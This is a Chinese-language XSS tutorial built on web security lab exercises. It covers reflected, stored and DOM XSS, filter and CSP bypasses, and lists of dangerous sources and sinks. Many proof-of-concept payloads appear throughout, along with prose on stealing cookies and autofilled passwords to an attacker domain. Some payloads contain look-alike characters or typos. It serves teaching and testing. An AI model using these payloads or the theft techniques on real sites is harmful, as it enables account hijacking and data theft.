一、什么是XSS
1. 基本知识
1.1 定义:
恶意攻击者往往Web将恶意类插入页面html代码(js当用户浏览页面时,执行插入的代码,以达到恶意用户的特殊目的。
1.2 触发条件
- 绕过各种过滤和转码编译
对尖括号<> 单引号 ’ 双引号 “” 特殊js过滤危险函数,绕过后续模式
- 脚本标记语言结构完全闭合
前后关闭,脚本完整,html能够识别执行。
- 引诱目标合理触发该页面的脚本
onclick onmouseover onload…后续。恶意连接可以结合使目标无意中访问,触发脚本。详见后续。
1.3 XSS种类
1.4 如何插入恶意脚本?
- 直接写入完整的脚本 (现在很少见)
<script>alert(1)</script>
- 在HTML或正常脚本内部标签部分,先关闭前脚本,再插入恶意语句,如下:
</script><script>alert(1)</script> ><script>alert(1)</script> '><script>alert(1)</script>
结合实际代码分析,需要写出关闭前面脚本的方法,这里需要长期积累。
- 使用事件。onclick 点击鼠标触发,onload 页面加载后触发,onerror 加载错误触发等页面。
- 使用伪协议: 如:javascript:alert(1)
1.5 XSS绕过清单(小抄)
跨站点脚本(XSS)小抄有很多帮助可以绕过WAF以及过滤器的载体。载体可以通过事件、标签或浏览器进行选择,每个载体都包含概念验证。
Cross-site scripting (XSS) cheat sheet all_events.xlsx all_tags.xlsx cheat-sheet.pdf
1.6 XSS危害
- 窃取机器登录账号、用户网银账号、各类管理员账号等各种用户账号
- 控制企业数据,包括读取、篡改、添加和删除企业敏感数据的能力
- 盗窃企业具有商业价值的重要数据
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器攻击其他网站
**XSS攻击用途: ** 假装或伪装成受害者。 执行任何用户可以执行的操作。 读取用户可以访问的任何数据。 捕获用户登录凭证。 污染网站的信息。 在网站上注入特洛伊木马功能。
1.7
Self-XSS与常规反射XSS应用程序行为相似,但不能定制URL或以正常方式触发跨域请求。相反,只有:
- 当受害者自己从其浏览器交XSS只有在有效负载时才会触发漏洞。
- 发送Self-XSS攻击通常涉及到对受害者进行社会工程,以将一些输入粘贴到他们的浏览器中。
- 因此,它通常被认为是一个影响不大的问题。
二、反射型、存储型XSS、DOM型XSS
2.1 如何发现反射型XSS漏洞
- 测试HTTP请求中每个入口点的数据
- URL查询字符串
- URL文件路径
- 报文头部Header
- body中的参数
- 对每个入口点,提交一个随机唯一值进行验证
- 唯一值长度为8位随机字母和数字为宜
- 使用Burp Intrindex爆破并配置gerp捕获有效响应荷载进行验证
- 根据相应唯一值的位置,判断XSS上下文
- XSS位置在HTML标签之间
- XSS位置在HTML标签的属性中
- XSS位置在js代码中
- XSS位置在js模板文字中
- 测试XSS候选有效负载(尝试各种绕过或编码技巧等)
- 建议使用Burp Repeater,反复尝试,查看回复
- 构造用于攻击的payload,在浏览器中测试攻击
- 在Burp Repeater测试成功的payload,复制到浏览器中尝试攻击
- 浏览器地址栏或Burp Intercept拦截修改。
2.2 存储型XSS
当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的HTTP响应中时,就会出现存储的跨站点脚本(也称为二阶或永久XSS)
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
<p>This post was extremely helpful.</p>
发现响应直接将请求中comment的值,已HTML方式进行响应,如在comment的值中改为XSS的payload,则所有访问该页面看到此留言的用户,均会收到XSS攻击影响。
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E&name=Carlos+Montoya&email=carlos%40normal-user.net
<p><script>/* Bad stuff here... */</script></p>
一般需要公网能访问到的攻击服务器,用户接受store XSS返回的信息。本文中使用Burp提供的Burp Collaborator Client 窃取Cookie是利用XSS的传统方式。大多数Web应用程序使用Cookie进行会话处理。您可以利用跨站点脚本漏洞将受害者的Cookie发送到您自己的域,然后手动将Cookie注入浏览器并模拟受害者。 使用限制如下
- 受害者可能没有登录。没有有效的cookie
- 许多应用程序使用HttpOnly标志向JavaScript隐藏它们的cookie。
- 会话可能被锁定到其他因素,如用户的IP地址。
- 会话可能会在您能够劫持它之前超时。
许多用户都有自动填写密码的密码管理器。您可以通过创建密码输入、读取自动填充的密码并将其发送到您自己的域来利用这一点。这项技术避免了大多数与窃取Cookie相关的问题,甚至可以访问受害者重复使用相同密码的所有其他帐户 使用限制
- 仅适用于具有执行密码自动填充的密码管理器的用户。
3.2 例5
** (3) 利用XSS执行CSRF攻击** 合法用户可以在网站上做的任何事情,攻击者也可以使用XSS来做。
- 让受害者发送消息
- 让受害者接受朋友请求
- 向源代码存储库提交后门程序
- 转移一些比特币
一些网站允许登录的用户更改他们的电子邮件地址,而无需重新输入密码。如果您发现了XSS漏洞,您可以让它触发此功能,将受害者的电子邮件地址更改为你控制的地址,然后触发密码重置以获得对该帐户的访问权限。
XSS与CSRF关系: 能达到同样的目标效果 当CSRF作为独立漏洞出现时,可以使用诸如反CSRF令牌之类的策略对其进行修补。但是,如果还存在XSS漏洞,这些策略不会提供任何保护。
3.2 例6
2.3 反射型和存储型XSS上下文
在测试反射和存储的XSS时,一项关键任务是识别XSS上下文
- 在响应中显示攻击者可控制数据出现的位置。
- Web应用程序对该输入数据执行的任何输入验证、过滤或其他处理。
- 根据上述信息详细分析,选择一个或多个候选XSS有效荷载,并测试它们是否有效。
2.4 如何构造XSS上下文有效荷载
当应用程序在HTTP请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会发生
应用程序,并且可能还会影响漏洞的影响。
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>
- url中存在传参
- 对传入数据为过滤,或可绕过
- 构造完整xss脚本
1. XSS位置在HTML标签之间
来触发js
<script>alert(document.domain)</script> <img src=1 onerror=alert(1)> <svg onload=alert(1)> <body οnresize=print() οnlοad=this.style.width='100px'> <xss id=a tabindex=1 onfocus=alert(2)>#a //
自定义标签 <svg><animatetransform onbegin=alert(1)>
例题
3.1 例1、2、3、4 3.2 例1
2. XSS位置在HTML标签的属性中
方法一:需要终止属性值、结束原标签。并引入一个新的标签。
"><script>alert(document.domain)</script>
方法二:更常见的情况是尖括号被阻止或编码,因此不能从出现它的标签中分离出来。可以考虑终止属性值,引入一个创建可编写脚本的上下文的新属性,如事件处理程序
" autofocus οnfοcus=alert(document.domain) x="
方法三:方法二的变种,部分属性如href,本身可以执行js代码,不用闭合终止该属性,可直接使用伪协议插入js荷载
<a href="javascript:alert(document.domain)">
例题
3.1 例5、6 3.2 例2
3. XSS位置在js代码中
当XSS注入位置是响应中的一些现有JavaScript时,可能会出现各种各样的情况,需要使用不同的技术才能成功利用漏洞。
</script><img src=1 onerror=alert(document.domain)>
<script> ... var input = 'controllable data here'; ... </script>
<script> ... var input = '</script><img src=1 onerror=alert(document.domain)>';
...
</script>
原理解析:浏览器首先执行HTML解析以识别包括脚本块在内的页面元素,然后才执行JavaScript解析以理解和执行嵌入的脚本。上述有效负载使原始脚本中断,并带有未终止的字符串文字。但这并不能阻止后续脚本以正常方式被解析和执行。
'-alert(documen.cookie)-'
';alert(document.cookie)//'
\';alert(document.domain)// //程序自动转义添加反斜杠,尝试主动属于一个反斜杠,是否可以转义掉反斜杠
οnerrοr=alert;throw 1 //如圆括号()被限制使用,考虑使用此种方式。将alert()函数分配给全局异常处理程序,Throw语句将1传递给异常处理程序(在本例中为alert)。最终结果是以1作为参数调用alert()函数。
原理解析:在XSS上下文位于带引号的字符串文字内的情况下,通常可以中断字符串并直接执行JavaScript。必须按照XSS上下文修复脚本,因为那里的任何语法错误都将阻止整个脚本执行。
'-alert(document.domain)-'
原理解析:当XSS注入点是带引号的标记属性(如事件处理程序)中的一些现有JavaScript时,可以利用HTML编码来绕过一些输入过滤器。当浏览器解析出响应中的HTML标记和属性时,它将在进一步处理标记属性值之前执行标记属性值的HTML解码。如果服务器端应用程序阻止或清理成功利用XSS所需的某些字符,您通常可以通过对这些字符进行HTML编码来绕过输入验证。 &apos;序列是一个表示撇号或单引号的HTML实体。由于浏览器在解释JavaScript之前对onClick属性的值进行了HTML解码,因此实体被解码为引号,成为字符串分隔符,因此攻击成功。
3.1 例7、8、9、10 3.2 例3
4. XSS位置在js模板文字中
模板文字是允许嵌入的js表达式的字符串文字。嵌入的表达式,通常连接到周围的文本中。使用${…}语法标识。
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
3.1 例11
2.5 DOM型XSS
1、什么是DOM
文档对象模型(DOM)是Web浏览器对页面上的元素的分层表示。网站可以使用JavaScript来操作DOM的节点和对象,以及它们的属性。DOM操作本身并不是问题。
2、什么是DOM型XSS
当网站包含接受攻击者可控制的值(称为源:source
)并将其传递到可执行代码的危险函数(称为接收器:sink
)中时,就会出现基于DOM的漏洞。
3、源码解析SOURCE
和 SINK
// 变量search就是数据源(SOURCE)。该变量函数值未过滤,攻击者可直接控制输入payload。
var search = document.getElementById('search').value;
var results = document.getElementById('results');
//函数innerHTML为接收器(SINK),该函数可执行代码
results.innerHTML = 'You searched for: ' + search;
// 综上通过变量search输入payload,在innerHTML函数处执行该payload。
// 这就是一个标准的DOM型XSS漏洞。source->sink
如果攻击者可以控制输入字段的值,他们就可以很容易地构造一个恶意值,从而导致他们自己的脚本执行: `You searched for: <img src=1 onerror='/* Bad stuff here... */'>`
4、SOURCE->SINK之间污染数据的流动传递
许多基于DOM的漏洞可以追溯到客户端代码处理数据(攻击者可控制数据)方式的问题。
源(SOURCE)是一种接受可能由攻击者控制的数据的。源的一个例子是location.search属性,因为它从查询字符串中读取输入,这对攻击者来说相对容易控制。归根结底,**攻击者可以控制的任何属性都是潜在的来源。**这包括引用URL(由document.referrer字符串公开)、用户的Cookie(由document.cookie字符串公 开)和Web消息。
常见的潜在SOURCE
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
接收器(SINK)一种潜在的危险的,**如果将攻击者控制的数据传递给接收器,可能会导致不良影响。**例如,eval()函数是一个接收器,因为它处理作为JavaScript传递给它的参数。例如,document.body.innerHTML就是一种HTML接收器,因为它可能允许攻击者注入恶意的HTML并执行任意的JavaScript。
常见的潜在SINK
// 原始js方法
document.write()
document.writeln()
document.domain
document.location
document.cookie
document.evaluate()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
element.src
element.setAttribute()
JSON.parse()
RegExp()
eaval()
WebSocket()
postMessage()
setRequestHeader()
FileReader.readAsText()
ExecuteSql()
sessionStorage.setItem()
// jQuery方法
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
5、常见场景
(1)结合反射和存储数据的DOM型XSS
一些基于DOM的漏洞通常包含在单个页面中。如果脚本从URL读取一些数据并将其写入危险的接收器,则该漏洞完全是客户端漏洞。 另一些来源并不局限于浏览器直接暴露的数据–它们也可以来自网站。例如,网站通常会在来自服务器的HTML响应中反映URL参数。这通常是XSS漏洞,但也可能是
在反射的+DOM漏洞中,服务器处理来自请求的数据,并将数据回显到响应中。反射的数据可以放在一个JavaScript字符串文字中,或者放在DOM中的一个数据项中,如表单域。然后,页面上的脚本以不安全的方式处理反射的数据,最终将其写入危险的接收器。
eval('var data = "reflected string"');
网站还可以**将数据存储在服务器上,并将其反映到其他地方。在存储+DOM漏洞中,**服务器从一个请求接收数据,将其存储,然后将数据包括在稍后的响应中。后一个响应中的脚本包含一个接收器,该接收器随后以不安全的方式处理数据。
(2) 控制Web消息源
将Web消息用作来源,如果页面以不安全的方式处理传入的Web消息,例如,没有在事件侦听器中正确验证传入消息的来源,则事件侦听器调用的属性和函数可能会成为接收器。 该漏洞的潜在影响取决于目标文档对传入消息的处理。
<script> window.addEventListener('message', function(e) {
eval(e.data); }); </script>
<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('print()','*')">
由于事件侦听器不验证消息的来源,并且postMessage()方法指定了Target Origin“*”,因此事件侦听器接受有效负载并将其传递到接收器中
(3)jQuery location.hash DOM XSS 漏洞
** **一般情况下为URL后 “#” 及其后面一部分组成,如http://www.test.com/#/something, 其中http://www.test.com为真实的路径,而#/something则为网页中的位置,称之为锚点
**location.hash; //输出 #/something**
** location.hash = '#/test1' // **[http://www.test.com/#/](http://www.test.com/#/something)test1
由于网站将此选择器与Location.hash源一起用于动画或自动滚动到页面上的特定元素而导致漏洞。此行为通常是使用易受攻击的hashchange事件处理程序实现的。
$(window).on('hashchange', function() {
var element = $(location.hash);
element[0].scrollIntoView();
});
由于hash是用户可控制的输入(SOURCE),攻击者可以将XSS向量注入$()接收器(SINK)。较新版本的jQuery已修补了此特定漏洞,方法是防止您在输入以hash字符(#)开始时将HTML注入选择器。 要真正利用这个经典漏洞,您需要找到一种在没有用户交互的情况下触发hashchange事件的方法。要做到这一点,最简单的方法之一是通过IFRAME传递您的漏洞:
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 οnerrοr=alert(1)>'">
(4) AngularJS中的DOM XSS
AngularJS是一个流行的JavaScript库,它包含`ng-app属性`(也称为AngularJS指令)的HTML节点的内容。
AngularJS将在双花括号内
执行JavaScript,该双花括号可以直接出现在HTML或属性中。 利用此种特性,尝试DOM XSS攻击
3.2例11
(5)其他DOM常见场景
2.6 绕过CSP
1. 什么是CSP
CSP是一种浏览器安全机制,旨在缓解XSS和其他一些攻击。它的工作方式是限制页面可以加载的资源(如脚本和图像),并限制页面是否可以由其他页面构成框架。 要启用CSP,响应需要包括名为Content-Security-Policy的HTTP响应头以及包含该策略的值。策略本身由一个或多个用分号分隔的指令组成。
script-src 'self'
指令将仅允许从与页面本身相同的来源加载脚本
script-src https://scripts.normal-website.com
指令将仅允许从特定域加载脚本
2. CSP安全设置
CSP指令可以指定一个随机数(随机值),并且必须在加载脚本的标记中使用相同的值。如果值不匹配,则脚本将不会执行。要有效地作为控件,必须在每次加载页面时安全地生成随机数,并且攻击者不能猜到它。 CSP指令可以指定受信任脚本内容的哈希。如果实际脚本的哈希与指令中指定的值不匹配,则不会执行该脚本。如果脚本的内容发生变化,那么您当然需要更新指令中指定的散列值。
3、CSP绕过方式
(1) 许多CSP确实允许图像请求。例如,这意味着您经常可以使用img元素向外部服务器发出请求,以泄露CSRF令牌。 (2) 可尝试注入一个HTML元素,当单击该元素时,它将存储被注入的元素包围的所有内容并将其发送到外部服务器。
三、漏洞举例
3.1 反射型XSS漏洞
1. 简单的反射型XSS(没有任何过滤)(Reflected XSS into HTML context with nothing encoded)-HTML标签之间
首页有搜索功能,原始正常搜索代码如下。尝试在搜索框中直接输入XSS
<section class=blog-header>
<h1>0 search results for 'USER INPUT'</h1>
<hr>
</section>
// 在USER INPUT 输入恶意语句(页面搜索框) <script>alert(1)</script>
<section class=blog-header>
<h1>0 search results for '<script>alert(1)</script>'</h1>
<hr>
</section>
// 程序没有过滤、完整显示恶意语句。 产生弹窗。
2. HTML大部分标签被过滤(Reflected XSS into HTML context with most tags and attributes blocked)-HTML标签之间
在搜索框中,尝试输入 发现返回提示"Tag is not allowed"证明有过滤。
- 尝试使用 (小抄),爆破看看有没有遗漏未过滤的标签,(发现标签 body可用) < 插 入 测 试 标 签 插入测试标签 插入测试标签>
- 如有,再测试未过滤事件。()<body%20 插 入 测 试 时 间 插入测试时间 插入测试时间=1>
- 使用未过滤标签+事件+恶意函数,构成完整payload。<body%20οnresize=alert(1)>
由于是resize,需要xss后,改变窗口大小。可自行验证,为了实现攻击,构造下列payload发给目标,让其点击即可实现攻击。
3. HTML自定义标签未被过滤(Reflected XSS into HTML context with all tags blocked except custom ones)-HTML标签之间
改题与上题思路一致,html标签均被过滤,仅有自定义标签未被过滤(custom tag) 构造XSS测试
<xss id=a tabindex=1 onfocus=alert(2)>#a
// id和#后的值可随意变换 xss标签可随意定制
构造恶意连接
<script> location='https://ac8a1f121fe0869ac0b53dbb00770006.web-security-academy.net/?search=<xss+id%3Dx+tabindex=1+onfocus%3Dalert(document.cookie)>#x'; </script>
该注入创建一个ID为x的定制标记,该标记包含一个触发警报函数的onFocus事件处理程序。URL末尾的散列在页面加载后立即集中在此元素上,从而导致调用警报有效负载。
4.svg标签未被过滤(Reflected XSS with some SVG markup allowed)-HTML标签之间
步骤同前,经过爆破发现如下可用标签
> title svg image animatetransform
遇到svg 考虑使用如下组合暴力破解,onbegin可用
> <svg><animatetransform%20$$=1>
得到可用payload
> <svg><animatetransform onbegin=alert(1)>
5. HTML属性存在xss,且尖括号被编码(Reflected XSS into attribute with angle brackets HTML-encoded)-标签的属性中
尝试搜索框,发现<>被编码为<>
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search value="<">>heason">
<button type=submit class=button>Search</button>
</form>
</section>
尝试方法二闭合value,引入新属性 " autofocus οnfοcus=alert(document.domain) x="
<section class=search> <form action=/ method=GET> <input type=text placeholder='Search the blog...' name=search